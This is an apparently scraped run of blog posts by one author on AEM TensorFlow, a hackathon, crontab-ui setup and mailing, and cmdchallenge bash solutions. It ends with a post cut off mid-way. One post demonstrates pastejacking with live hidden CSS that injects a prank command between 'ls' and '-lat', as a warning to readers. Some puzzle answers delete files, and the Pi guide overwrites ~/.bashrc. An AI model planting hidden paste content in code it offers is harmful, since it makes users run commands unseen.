Lets write a simple sling servlet to check if everything is working as expected. Like I told earlier, Tensorflow for java is still in its infancy. So, I wrote a helper class a while back to manipulate the computation graph. Get <a href="https://github.com/alseambusher/Tensorflow-Examples4j/blob/master/helpers/src/main/java/GraphBuilder.java" target="_blank">GraphBuilder.java</a> and place it where it is accessible to the sling servlet.<br />
<br />
<center><a class="btn" href="https://github.com/alseambusher/Tensorflow-Examples4j/blob/master/helpers/src/main/java/GraphBuilder.java" style="color: white;" target="_blank">GraphBuilder.java</a></center>
<br />
<br />
The following sling servlet includes things like:<br />
<div style="text-align: left;">
</div>
<ul>
<li>Creating a computation graph</li>
<li>Creating placeholders, constants etc</li>
<li>Arithmetic operations, matrix multiplication.</li>
<li>Feeding data and computing values of placeholders.</li>
</ul>
<br />
<script src="https://pastebin.com/embed_js/bMuSPLGv"></script>
<div style="text-align: left;">
<br /></div>
When you go to <span style="background-color: #eeeeee;">/services/tftest </span>you should get something like this:<br />
<br />
<blockquote class="tr_bq">
4 -2 3 0 FLOAT tensor with shape [3, 3] 14 Testing done!</blockquote>
Now you can start building any deep learning model on AEM. Also, I will be writing about some of the real life applications of deep learning in content creation and content discovery. So stay tuned!<br />
<br />
<br /></div>
Suresh Alsehttp://www.blogger.com/profile/17014135247297674384noreply@blogger.com0tag:blogger.com,1999:blog-6272733848189485006.post-16114389535650381452017-03-29T13:38:00.000-07:002017-03-29T16:57:12.785-07:00Most original prize at The 2017 Deep Learning Hackathon<div dir="ltr" style="text-align: left;" trbidi="on">
Although I have worked on several deep learning projects in the past, I still consider myself to be a newbie in deep learning because of all the new things that keep coming up and it is so hard to keep up with all that. So, I decided to take part in "The 2017 Deep Learning Hackathon" by <a href="http://deepgram.com/" target="_blank">Deepgram</a> to work on something I have been wanting to do for a while now.<br />
<br />
I built something called <a href="http://wowwiki.wikia.com/wiki/Medivh" target="_blank">Medivh</a> - prophet from Warcraft who has seen the future. The idea was to build a tool for web developers to predict how users are going to see / use the site even before deploying. Basically, it generates heat maps on websites which show where the user might look at. Example:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaYhQoUqf-Gv_DukIpezOhuuUEfrt3MJwVQGcd6y73k0pv2lCFAUUksP0UhpacN5m4J32ZdQyM-C0UEnw7js6sAfnpvuVkk_-g08WW1XyaFeg35hkeWEG0vOj85Rj_3tDHgjnb8BiMo3A/s1600/Screen+Shot+2017-03-29+at+1.34.25+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="382" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaYhQoUqf-Gv_DukIpezOhuuUEfrt3MJwVQGcd6y73k0pv2lCFAUUksP0UhpacN5m4J32ZdQyM-C0UEnw7js6sAfnpvuVkk_-g08WW1XyaFeg35hkeWEG0vOj85Rj_3tDHgjnb8BiMo3A/s640/Screen+Shot+2017-03-29+at+1.34.25+PM.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOPD3PJvRMtTiGuEunm3wZ7sftD5iZYGODo3NJp3nudiIhxrZGIdSI6w0godZ8NRnJebOMpt4SJJ9Pa2J_l7Do78Dshixm455BWl11YoAh6gG2FGSJEYBjPpWMfw7AzQfsjXXi6XtYJgY/s1600/Screen+Shot+2017-03-29+at+1.43.22+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="356" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOPD3PJvRMtTiGuEunm3wZ7sftD5iZYGODo3NJp3nudiIhxrZGIdSI6w0godZ8NRnJebOMpt4SJJ9Pa2J_l7Do78Dshixm455BWl11YoAh6gG2FGSJEYBjPpWMfw7AzQfsjXXi6XtYJgY/s640/Screen+Shot+2017-03-29+at+1.43.22+PM.png" width="640" /></a></div>
<br />
I will write another post with all the technical details. Here is the sneak peak of how it was done.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEix3I9DQGacrRmNGFgLkkdfPov-_0tZf-cMemvTGsWboqDjkv_PwpKSh2shGH4bG8edqnaTBwVglqh9_-iSwSq5xtBfoIGu74xIC9OWdVRYFYChzbLqpaPJEN6eThDdod_avJ-GDVDwsDI/s1600/IMG_20170329_130739.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEix3I9DQGacrRmNGFgLkkdfPov-_0tZf-cMemvTGsWboqDjkv_PwpKSh2shGH4bG8edqnaTBwVglqh9_-iSwSq5xtBfoIGu74xIC9OWdVRYFYChzbLqpaPJEN6eThDdod_avJ-GDVDwsDI/s640/IMG_20170329_130739.jpg" width="640" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW_NkF7XV5gM3M6Xs5QDTL2LuQpUmQK9jpVRWVYOOro_BF7vzdtQwjK1VBe1__zmQPdMdW05nQQPlIm4iAhkIpOU6q_6TbAm7ZnXBHNftfNMrSuR8nmvB6iJp7WSJE6QKrdlEwzRIcS3Y/s1600/IMG_20170329_130754.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW_NkF7XV5gM3M6Xs5QDTL2LuQpUmQK9jpVRWVYOOro_BF7vzdtQwjK1VBe1__zmQPdMdW05nQQPlIm4iAhkIpOU6q_6TbAm7ZnXBHNftfNMrSuR8nmvB6iJp7WSJE6QKrdlEwzRIcS3Y/s640/IMG_20170329_130754.jpg" width="640" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhE1gSns0YC6xOZo92Zaceclz2dkt6Hcnl7oTNvj5Bmr_L0LUhhSw70QrPWdphtRT_UXz_fuMmZjNbMeaYly1m2ouAIqTjqAfi6WVg-QZYQs7A3K-v9uJGY13L68A8Q2wKh9s_3pFkxg8U/s1600/IMG_20170329_130807.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhE1gSns0YC6xOZo92Zaceclz2dkt6Hcnl7oTNvj5Bmr_L0LUhhSw70QrPWdphtRT_UXz_fuMmZjNbMeaYly1m2ouAIqTjqAfi6WVg-QZYQs7A3K-v9uJGY13L68A8Q2wKh9s_3pFkxg8U/s640/IMG_20170329_130807.jpg" width="640" /></a></div>
<br />
Apart from building that, We got an opportunity to interact with people like <a href="https://twitter.com/ctnzr" target="_blank">Bryan Catanzaro</a> - maker of CUDNN and VP at Nvidia, Jiaji Huangform from Baidu, Jonathan Hseu from Google Brain etc.<br />
<br />
We also got to interact with people from Deepgram and their caffe like framework called <a href="https://github.com/deepgram/kur" target="_blank">Kur</a> which seems pretty good. I think I'll write a review about Kur after playing around with it for some more time.<br />
<br />
Also this:<br />
<blockquote class="twitter-video" data-lang="en">
<div dir="ltr" lang="en">
Shenanigans at the <a href="https://twitter.com/DeepgramAI">@DeepgramAI</a> <a href="https://twitter.com/hashtag/DLhackathon?src=hash">#DLhackathon</a> !! <a href="https://twitter.com/hashtag/ai?src=hash">#ai</a> <a href="https://twitter.com/hashtag/hackathon?src=hash">#hackathon</a> <a href="https://t.co/ympPZpPWFG">pic.twitter.com/ympPZpPWFG</a></div>
— BEAST Pets (@beastpets) <a href="https://twitter.com/beastpets/status/845854047198339073">March 26, 2017</a></blockquote>
<br />
This is me presenting before the results.
<br />
<blockquote class="twitter-tweet" data-lang="en">
<div dir="ltr" lang="en">
<a href="https://twitter.com/DeepgramAI">@DeepgramAI</a> <a href="https://twitter.com/hashtag/deeplearning?src=hash">#deeplearning</a> <a href="https://twitter.com/hashtag/hackathon?src=hash">#hackathon</a> <a href="https://twitter.com/GPUComputing">@GPUComputing</a> <a href="https://twitter.com/awscloud">@awscloud</a> <a href="https://twitter.com/googlecloud">@googlecloud</a> class activation mapping web dev guidance <a href="https://twitter.com/Adobe">@Adobe</a> engineering <a href="https://twitter.com/hashtag/AI?src=hash">#AI</a> <a href="https://t.co/sDD4vrIUAf">pic.twitter.com/sDD4vrIUAf</a></div>
— Leo K Tam (@LeoKTam) <a href="https://twitter.com/LeoKTam/status/846103282950987776">March 26, 2017</a></blockquote>
<script async="" charset="utf-8" src="//platform.twitter.com/widgets.js"></script>
For Medivh, I won the "Most original prize" - <a href="https://www.nvidia.com/en-us/geforce/products/10series/titan-x-pascal/" target="_blank">Nvidia Titan X pascal</a>. What a beauty!<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://images.nvidia.com/pascal/img/titanx/titanx-hero.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="305" src="https://images.nvidia.com/pascal/img/titanx/titanx-hero.png" width="640" /></a></div>
<br /></div>
Suresh Alsehttp://www.blogger.com/profile/17014135247297674384noreply@blogger.com0tag:blogger.com,1999:blog-6272733848189485006.post-20673412107214255282017-03-09T14:49:00.001-08:002017-03-09T14:49:46.854-08:00Introducing mailing in crontab-ui<div dir="ltr" style="text-align: left;" trbidi="on">
Now <a href="https://github.com/alseambusher/crontab-ui" target="_blank">crontab-ui</a> has option to send mails after execution of jobs along with <b>output and errors attached as text files</b>. This internally uses <a href="https://github.com/alseambusher/crontab-ui/blob/master/README/nodemailer.com" target="_blank">nodemailer</a> and all the options available through nodemailer are available here.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://camo.githubusercontent.com/8f6e0212f32f8b60da969795a17663ee44a1dbba/687474703a2f2f692e696d6775722e636f6d2f424d74576349582e706e67" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="295" src="https://camo.githubusercontent.com/8f6e0212f32f8b60da969795a17663ee44a1dbba/687474703a2f2f692e696d6775722e636f6d2f424d74576349582e706e67" width="320" /></a></div>
<h4 style="clear: both; text-align: left;">
Defaults</h4>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
To change the default transporter and mail config you can modify <span style="background-color: rgba(27, 31, 35, 0.0470588); color: #24292e; font-family: SFMono-Regular, Consolas, "Liberation Mono", Menlo, Courier, monospace; font-size: 13.6px;">config/mailconfig.js</span>.</div>
<pre style="background-color: #f6f8fa; border-radius: 3px; box-sizing: border-box; color: #24292e; font-family: SFMono-Regular, Consolas, "Liberation Mono", Menlo, Courier, monospace; font-size: 13.6px; font-stretch: normal; line-height: 1.45; overflow: auto; padding: 16px; word-break: normal; word-wrap: normal;"><span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">var</span> transporterStr <span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">=</span> <span class="pl-s" style="box-sizing: border-box; color: #183691;"><span class="pl-pds" style="box-sizing: border-box;">'</span>smtps://user%40gmail.com:password@smtp.gmail.com<span class="pl-pds" style="box-sizing: border-box;">'</span></span>;
<span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">var</span> mailOptions <span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">=</span> {
from<span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">:</span> <span class="pl-s" style="box-sizing: border-box; color: #183691;"><span class="pl-pds" style="box-sizing: border-box;">'</span>"Fred Foo 👥" <foo@blurdybloop.com><span class="pl-pds" style="box-sizing: border-box;">'</span></span>, <span class="pl-c" style="box-sizing: border-box; color: #969896;"><span class="pl-c" style="box-sizing: border-box;">//</span> sender address</span>
to<span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">:</span> <span class="pl-s" style="box-sizing: border-box; color: #183691;"><span class="pl-pds" style="box-sizing: border-box;">'</span>bar@blurdybloop.com, baz@blurdybloop.com<span class="pl-pds" style="box-sizing: border-box;">'</span></span>, <span class="pl-c" style="box-sizing: border-box; color: #969896;"><span class="pl-c" style="box-sizing: border-box;">//</span> list of receivers</span>
subject<span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">:</span> <span class="pl-s" style="box-sizing: border-box; color: #183691;"><span class="pl-pds" style="box-sizing: border-box;">'</span>Job Test#21 Executed ✔<span class="pl-pds" style="box-sizing: border-box;">'</span></span>, <span class="pl-c" style="box-sizing: border-box; color: #969896;"><span class="pl-c" style="box-sizing: border-box;">//</span> Subject line</span>
text<span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">:</span> <span class="pl-s" style="box-sizing: border-box; color: #183691;"><span class="pl-pds" style="box-sizing: border-box;">'</span>Test#21 results attached 🐴<span class="pl-pds" style="box-sizing: border-box;">'</span></span>, <span class="pl-c" style="box-sizing: border-box; color: #969896;"><span class="pl-c" style="box-sizing: border-box;">//</span> plaintext body</span>
html<span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">:</span> <span class="pl-s" style="box-sizing: border-box; color: #183691;"><span class="pl-pds" style="box-sizing: border-box;">'</span><b>Test#21 🐴</b> results attached<span class="pl-pds" style="box-sizing: border-box;">'</span></span> <span class="pl-c" style="box-sizing: border-box; color: #969896;"><span class="pl-c" style="box-sizing: border-box;">//</span> html body</span>
};</pre>
<div class="separator" style="clear: both;">
<br /></div>
<h4 style="clear: both; text-align: left;">
Troubleshooting</h4>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
Make sure that you have <span style="background-color: rgba(27, 31, 35, 0.0470588); color: #24292e; font-family: SFMono-Regular, Consolas, "Liberation Mono", Menlo, Courier, monospace; font-size: 13.6px;">node</span> at <span style="background-color: rgba(27, 31, 35, 0.0470588); color: #24292e; font-family: SFMono-Regular, Consolas, "Liberation Mono", Menlo, Courier, monospace; font-size: 13.6px;">/usr/local/bin/node</span> else you need to create a softlink like this</div>
<pre style="background-color: #f6f8fa; border-radius: 3px; box-sizing: border-box; color: #24292e; font-family: SFMono-Regular, Consolas, "Liberation Mono", Menlo, Courier, monospace; font-size: 13.6px; font-stretch: normal; line-height: 1.45; overflow: auto; padding: 16px; word-break: normal; word-wrap: normal;">ln -s [location of node] /usr/local/bin/node</pre>
<br /></div>
Suresh Alsehttp://www.blogger.com/profile/17014135247297674384noreply@blogger.com0tag:blogger.com,1999:blog-6272733848189485006.post-38838907026798296132017-03-09T14:31:00.000-08:002017-03-09T14:34:53.824-08:00Setting up crontab-ui on raspberry pi<style>
pre {
background-color: #f7f7f7;
border-radius: 3px;
box-sizing: border-box;
color: #333333;
font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace;
font-size: 13.6000003814697px;
font-stretch: normal;
line-height: 1.45;
margin-bottom: 16px;
overflow: auto;
padding: 16px;
word-wrap: normal;
}
code {
background: transparent;
border-radius: 3px;
border: 0px;
box-sizing: border-box;
display: inline;
font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace;
font-size: 13.6000003814697px;
line-height: inherit;
margin: 0px;
max-width: initial;
overflow: initial;
padding: 0px;
word-break: normal;
word-wrap: normal;
}
</style>
<div dir="ltr" style="text-align: left;" trbidi="on">
In this tutorial I will show you how to setup <a href="https://github.com/alseambusher/crontab-ui" target="_blank">crontab-ui</a> on raspberry pi.
<br />
<br />
<h4 style="text-align: left;">
Step 1
</h4> Find your architecture
<br />
<pre><code>uname -a
Linux raspberrypi 4.4.50-v7+ #970 SMP Mon Feb 20 19:18:29 GMT 2017 <span style="background-color: #ffd966;">armv7l</span> GNU/Linux
</code></pre> Note that it is <b>ARMv7</b>. Download and extract <a href="https://nodejs.org/en/download/current/" target="_blank">latest node</a>.
<br />
<pre><code>wget https://nodejs.org/dist/v7.7.2/node-v7.7.2-linux-armv7l.tar.xz
tar xz node-v7.7.2-linux-armv7l.tar.xz
sudo mv node-v7.7.2-linux-armv7l /opt/node</code></pre>
<h4 style="text-align: left;">
Step 2
</h4> Remove old nodejs if it is already installed and add the latest node to the $PATH
<br />
<pre><code>sudo apt-get purge nodejs
echo 'export PATH=$PATH:/opt/node/bin' > ~/.bashrc
source ~/.bashrc</code></pre>
<h4 style="text-align: left;">
Step 3
</h4> Install crontab-ui and pm2. And start crontab-ui.
<pre><code>npm install -g crontab-ui
npm install -g pm2
pm2 start crontab-ui</code></pre> Now your crontab-ui must be running. Visit <a href="http://localhost:8000/">http://localhost:8000</a> on your browser to see if it is working.
<br />
<br />
<h4 style="text-align: left;">
Step 4 (Optional)
</h4> In order to be able access crontab-ui from outside, you have to forward the port 8000. Install nginx and configure.
<pre><code>sudo apt-get install nginx
sudo vi /etc/nginx/sites-available/default</code></pre> Paste the following lines in the file:
<pre><code>server {
listen 8001;
server_name localhost;
location / {
proxy_pass http://localhost:8000;
}
}</code></pre> Restart nginx
<pre><code>sudo service nginx restart</code></pre>
Now, crontab-ui must be accessible from outside through port 8001. So, to access crontab-ui, go to <pre><ip address of pi>:8001</pre>
You can also setup http authentication by following <a href="https://www.digitalocean.com/community/tutorials/how-to-set-up-http-authentication-with-nginx-on-ubuntu-12-10" target="_blank">this</a>.
<br /> Thanks!
<br />
<center><a class="btn" href="https://github.com/alseambusher/crontab-ui" style="color: white;">Fork me on Github</a></center>
<br />
</div>Suresh Alsehttp://www.blogger.com/profile/17014135247297674384noreply@blogger.com0tag:blogger.com,1999:blog-6272733848189485006.post-53424231177624240652017-01-28T08:36:00.001-08:002017-01-28T08:38:01.033-08:00My solutions to cmdchallenge<div dir="ltr" style="text-align: left;" trbidi="on">
I recently stumbled upon <a href="https://cmdchallenge.com/">https://cmdchallenge.com</a> which sort of tests your command line knowledge and comfortability. You have to basically solve all the challenges in a single line of bash. It is pretty simple and fun. You should give it a try before checking the solutions.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdQ4kiDO_1As7XWQC5yKD7Ec_4AjJ8cJWcdH8o8JIzgd9ucW2qpwpr01PUuSfDvqAr72tcieulAbVJH2gfjQS4T3Zrp-ywIUzk_tZ1VlQpSSsucuZ7H6TZQwiWAhbpp6CwOge6HC2M0d0/s1600/Screen+Shot+2017-01-26+at+1.22.58+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="382" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdQ4kiDO_1As7XWQC5yKD7Ec_4AjJ8cJWcdH8o8JIzgd9ucW2qpwpr01PUuSfDvqAr72tcieulAbVJH2gfjQS4T3Zrp-ywIUzk_tZ1VlQpSSsucuZ7H6TZQwiWAhbpp6CwOge6HC2M0d0/s640/Screen+Shot+2017-01-26+at+1.22.58+PM.png" width="640" /></a></div>
<br />
<h4 style="text-align: left;">hello_world/</h4>
<pre>
# Print "hello world".
# Hint: There are many ways to print text on
# the command line, one way is with the 'echo'
# command.
#
# Try it below and good luck!
#
</pre>
Solution: <br>
<code>
echo "hello world"
</code>
<br/><br/>
<h4 style="text-align: left;">current_working_directory/</h4>
<pre>
# Print the current working directory.
#
</pre>
Solution: <br>
<code>
pwd
</code><br/><br/>
<h4 style="text-align: left;">list_files/</h4>
<pre>
# List all of the files in the current
# directory, one file per line.
#
</pre>
Solution: <br>
<code>
ls -1
</code><br/><br/>
<h4 style="text-align: left;">last_lines/</h4>
<pre>
# Print the last 5 lines of "access.log".
#
</pre>
Solution: <br>
<code>
tail -5 access.log
</code><br/><br/>
<h4 style="text-align: left;">find_string_in_a_file/</h4>
<pre>
# There is a file named "access.log" in the
# current working directory. Print all lines
# in this file that contains the string "GET".
#
</pre>
Solution: <br>
<code>
grep GET access.log
</code><br/><br/>
<h4 style="text-align: left;">search_for_files_containing_string/</h4>
<pre>
# Print all files, one per line that contain
# the string "500".
#
</pre>
Solution: <br>
<code>
grep -rl * -e 500
</code><br/><br/>
<h4 style="text-align: left;">search_for_files_by_extension/</h4>
<pre>
# Print the relative file paths, one path
# per line for all files that start with
# "access.log" in the current directory.
#
</pre>
Solution: <br>
<code>
find . -name "access.log*"
</code><br/><br/>
<h4 style="text-align: left;">search_for_string_in_files_recursive/</h4>
<pre>
# Print all matching lines (without the filename
# or the file path) in all files under the current
# directory that start with "access.log" that
# contain the string "500".
#
</pre>
Solution: <br>
<code>
find . -name "access.log*" | xargs grep -h 500
</code><br/><br/>
<h4 style="text-align: left;">extract_ip_addresses/</h4>
<pre>
# Extract all IP addreses from files that
# that start with "access.log" printing one
# IP address per line.
#
</pre>
Solution: <br>
<code>
find . -name "access.log*" | xargs grep -Eo '^[^ ]+'
</code><br/><br/>
<h4 style="text-align: left;">delete_files/</h4>
<pre>
# Delete all of the files in this challenge
# directory including all subdirectories and
# their contents.
#
</pre>
Solution: <br>
<code>
find . -delete
</code><br/><br/>
<h4 style="text-align: left;">count_files/</h4>
<pre>
# Count the number of files in the current
# working directory. Print the number of
# files as a single integer.
#
</pre>
Solution: <br>
<code>
ls | wc -l
</code><br/><br/>
<h4 style="text-align: left;">simple_sort/</h4>
<pre>
# Print the contents of access.log
# sorted.
#
</pre>
Solution: <br>
<code>
sort access.log
</code><br/><br/>
<h4 style="text-align: left;">count_string_in_line/</h4>
<pre>
# Print the number of lines
# in access.log that contain the string
# "GET".
#
</pre>
Solution: <br>
<code>
grep GET access.log | wc -l
</code><br/><br/>
<h4 style="text-align: left;">split_on_a_char/</h4>
<pre>
# The file split-me.txt contains a list of
# numbers separated by a ';' character.
# Split the numbers on the ';' character,
# one number per line.
#
</pre>
Solution: <br>
<code>
cat split-me.txt | sed s/\;/\\n/g
</code><br/><br/>
<h4 style="text-align: left;">print_number_sequence/</h4>
<pre>
# Print the numbers 1 to 100 separated
# by spaces.
#
</pre>
Solution: <br>
<code>
echo {1..100}
</code><br/><br/>
<h4 style="text-align: left;">remove_files_with_extension/</h4>
<pre>
# There are files in this challenge with
# different file extensions.
# Remove all files with the .doc extension
# recursively in the current working directory.
#
</pre>
Solution: <br>
<code>
find . -name "*.doc" -delete
</code><br/><br/>
<h4 style="text-align: left;">replace_text_in_files/</h4>
<pre>
# This challenge has text files that contain
# the phrase "challenges are difficult". Delete
# this phrase recursively from all text files.
#
</pre>
Solution: <br>
<code>
find . -name "*.txt" -exec sed -i 's/challenges are difficult//g' {} +
</code><br/><br/>
<h4 style="text-align: left;">sum_all_numbers/</h4>
<pre>
# The file sum-me.txt have a list of numbers,
# one per line. Print the sum of these numbers.
#
</pre>
Solution: <br>
<code>
cat sum-me.txt | xargs | sed -e 's/\ /+/g' | bc
</code><br/><br/>
<h4 style="text-align: left;">just_the_files/</h4>
<pre>
# Print all files in the current directory
# recursively without the leading directory path.
#
</pre>
Solution: <br>
<code>
find . -type f -printf "%f\n"
</code><br/><br/>
<h4 style="text-align: left;">remove_extensions_from_files/</h4>
<pre>
# Remove the extension from all files in
# the current directory recursively.
#
</pre>
Solution: (note you cant use <code>find .</code>) <br>
<code>
find `pwd` -type f -exec bash -c 'mv "$1" "${1%.*}"' - '{}' \;
</code><br/><br/>
<h4 style="text-align: left;">replace_spaces_in_filenames/</h4>
<pre>
# The files in this challenge contain spaces.
# List all of the files in the current
# directory but replace all spaces with a '.'
# character.
#
</pre>
Solution:<br>
<code>
find . -type f -printf "%f\n" | xargs -0 -I {} echo {} | tr ' ' '.'
</code><br/><br/>
<h4 style="text-align: left;">files_starting_with_a_number/</h4>
<pre>
# There are a mix of files in this directory
# that start with letters and numbers. Print
# the filenames (just the filenames) of all
# files that start with a number recursively
# in the current directory.
#
</pre>
Solution:<br>
<code>
find . -name '[0-9]*' -type f -printf "%f\n"
</code><br/><br/>
<h4 style="text-align: left;">print_nth_line/</h4>
<pre>
# Print the 25th line of the file faces.txt
#
</pre>
Solution:<br>
<code>
sed '25q;d' faces.txt
</code><br/><br/>
<h4 style="text-align: left;">remove_duplicate_lines/</h4>
<pre>
# Print the file faces.txt, but only print the first instance of each
# duplicate line, even if the duplicates don't appear next to each other.
#
</pre>
Solution:<br>
<code>
awk '!seen[$0]++' faces.txt
</code><br/><br/>
<h4 style="text-align: left;">corrupted_text/</h4>
<pre>
# You have a new challenge!
# The following excerpt from War and Peace is saved to
# the file 'war_and_peace.txt':
#
# She is betraying us! Russia alone must save Europe.
# Our gracious sovereign recognizes his high vocation
# and will be true to it. That is the one thing I have
# faith in! Our good and wonderful sovereign has to
# perform the noblest role on earth, and he is so virtuous
# and noble that God will not forsake him. He will fulfill
# his vocation and crush the hydra of revolution, which
# has become more terrible than ever in the person of this
# murderer and villain!
#
# The file however has been corrupted, there are random '!'
# marks inserted throughout. Print the original text.
#
</pre>
Solution: (Found this on hackernews) <br>
<code>
< war_and_peace.txt tr -s '!' | sed 's/!\([a-z]\)/\1/g' | sed 's/!\( [a-z]\)/\1/g' | sed 's/!\.!/./g' | sed 's/ !/ /g'
</code><br/><br/><br/>
Also, you can checkout the creator's solutions <a href="https://github.com/jarv/cmdchallenge/blob/master/challenges.yaml">here</a>.
<div>
<br /></div>
</div>
Suresh Alsehttp://www.blogger.com/profile/17014135247297674384noreply@blogger.com0tag:blogger.com,1999:blog-6272733848189485006.post-41407407231683847502017-01-19T13:32:00.000-08:002017-04-04T14:08:51.443-07:00Look before you paste from a website to terminal<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
Most of the time when we see a code snippet online to do something, we often blindly copy paste it to the terminal. Even the tech savy ones just see it on the website before copy pasting. Here is why you shouldn't do this. Try pasting the following line to your terminal (SFW) <br />
<br />
<style>
.malicious {
color: #f3f5f6;
position: absolute;
left: -100px;
top: -100px;
height: 0px;
z-index: -100;
display: inline-block;
-webkit-touch-callout: none;
-khtml-user-select: none;
-ms-user-select: none;
user-select: none;
}
</style>
<code 10px="" background-color:="" eeeeee="" padding:="">
ls
<!-- Here it is -->
<span class="malicious">
; clear; echo 'Haha! You gave me access to your computer with sudo!';
echo -ne 'h4cking ## (10%)\r';
sleep 0.3;
echo -ne 'h4cking ### (20%)\r';
sleep 0.3;
echo -ne 'h4cking ##### (33%)\r';
sleep 0.3;
echo -ne 'h4cking ####### (40%)\r';
sleep 0.3;
echo -ne 'h4cking ########## (50%)\r';
sleep 0.3;
echo -ne 'h4cking ############# (66%)\r';
sleep 0.3;
echo -ne 'h4cking ##################### (99%)\r';
sleep 0.3;
echo -ne 'h4cking ####################### (100%)\r';
echo -ne '\n';
echo 'Hacking complete.';
echo 'Use GUI interface using visual basic to track my IP'<br /> ls
</span>
-lat
</code>
<br />
<br />
It should look something like this once it is pasted onto your terminal. <br />
<blockquote class="imgur-embed-pub" data-id="wAsCWqP" lang="en">
<a href="https://imgur.com/wAsCWqP">View post on imgur.com</a></blockquote>
<script async="" charset="utf-8" src="//s.imgur.com/min/embed.js"></script>
You probably guessed it. There is some malicious code between <code>ls</code> and <code>-lat</code> that is hidden from the user<br />
<br />
Malicious code's color is set to that of the background, it's font size is set to 0, it is moved away from rest of the code and it is made un-selectable (that blue color thing doesn't reveal it); to make sure that it works in all possible OSes, browsers and screen sizes. <br />
<br />
<script src="//pastebin.com/embed_js/Kb2uzAyu"></script>
<script src="//pastebin.com/embed_js/jbNLRLce"></script>
<br />
This can be worse. If the code snippet had a command with <code>sudo</code> for instance, the malicious code will have <code>sudo</code> access too. Or, it can silently install a keylogger on your machine; possibilities are endless. So, the lesson here is, make sure that you paste code snippets from untrusted sources onto a text editor before executing it.<br />
<br />
Thanks for reading!
<br />
<div>
</div>
<div>
</div>
</div>
<img src="https://i.imgur.com/wAsCWqP.gif" style="display: none;" />
</div>
<!-- Begin Inspectlet Embed Code -->
<script type="text/javascript" id="inspectletjs">
window.__insp = window.__insp || [];
__insp.push(['wid', 927168003]);
(function() {
function ldinsp(){if(typeof window.__inspld != "undefined") return; window.__inspld = 1; var insp = document.createElement('script'); insp.type = 'text/javascript'; insp.async = true; insp.id = "inspsync"; insp.src = ('https:' == document.location.protocol ? 'https' : 'http') + '://cdn.inspectlet.com/inspectlet.js'; var x = document.getElementsByTagName('script')[0]; x.parentNode.insertBefore(insp, x); };
setTimeout(ldinsp, 500); document.readyState != "complete" ? (window.attachEvent ? window.attachEvent('onload', ldinsp) : window.addEventListener('load', ldinsp, false)) : ldinsp();
})();
</script>
<!-- End Inspectlet Embed Code -->
Suresh Alsehttp://www.blogger.com/profile/17014135247297674384noreply@blogger.com0tag:blogger.com,1999:blog-6272733848189485006.post-67856853530249909612016-10-18T13:21:00.001-07:002017-04-14T08:26:46.675-07:00How to download large folders on dropbox<div dir="ltr" style="text-align: left;" trbidi="on">
Recently, someone shared a large folder with me and when I tried to download it, I was getting an error; "There was an error downloading your file".<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/LSTXBIL.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="61" src="https://i.imgur.com/LSTXBIL.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
This error seemed very vague and after a quick search online, I figured out that it is not possible to download folders which are bigger than 1 GB. And according to dropbox's <a href="https://www.dropbox.com/en/help/49">help</a> article, I will be able to download it only if I add it to my dropbox. With dropbox's puny 2GB free storage it was not possible and I was not ready to spend $$$ just for this. </div>
<div class="separator" style="clear: both; text-align: left;">
So, I wrote a simple script in javascript that I can run it on browser console to download all files in a folder!</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<h4 style="clear: both; text-align: left;">
How to do it?</h4>
<div>
<br /></div>
<div>
